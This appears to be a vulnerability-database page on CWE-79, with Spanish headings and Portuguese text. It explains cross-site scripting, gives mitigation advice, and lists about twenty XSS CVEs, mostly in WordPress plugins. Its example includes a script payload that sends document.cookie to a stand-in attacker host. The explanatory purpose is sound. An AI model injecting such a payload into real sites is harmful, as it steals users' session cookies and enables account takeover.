Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-2932MEDIUMYiFang CMS Extended Management D_adPosition.php update cross site scriptingEPSS 0.3%CVE-2024-50460MEDIUMWordPress Firelight Lightbox plugin <= 2.3.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-34575MEDIUMWordPress DethemeKit For Elementor plugin <= 2.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-48258MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-38784MEDIUMWordPress Livemesh Addons for Beaver Builder plugin <= 3.6.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37949MEDIUMWordPress Responsive Mobile theme <= 1.15.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47627MEDIUMWordPress WP Travel Gutenberg Blocks plugin <= 3.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51685MEDIUMWordPress Accordion title for Elementor plugin <= 1.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41774MEDIUMIBM Common Licensing cross-site scriptingEPSS 0.3%CVE-2024-47629MEDIUMWordPress Ultimate Store Kit Elementor Addons plugin <= 2.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-28978HIGHWordPress SB Breadcrumbs plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5521MEDIUMCross-Site Scripting stored in Alkacon OpenCMSEPSS 0.3%CVE-2025-14626MEDIUMQR Code for WooCommerce order emails, PDF invoices, packing slips <= 1.9.42 - Authenticated (Contributor+) Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2025-14796MEDIUMMy Album Gallery <= 1.0.4 - Authenticated (Author+) Stored Cross-Site Scripting via Image TitleEPSS 0.3%CVE-2025-65592MEDIUMnopCommerce 4.90.0 is vulnerable to Cross Site Scripting (XSS) in the product management functionality. Malicious payloads inserted into theEPSS 0.3%CVE-2024-38720MEDIUMWordPress EazyDocs plugin <= 2.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49265MEDIUMWordPress Booking.com Banner Creator plugin <= 1.4.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43920MEDIUMWordPress Gutenverse – Gutenberg Blocks – Page Builder for Site Editor plugin <= 1.9.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-48271MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-39488HIGHWordPress MagOne theme <= 8.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%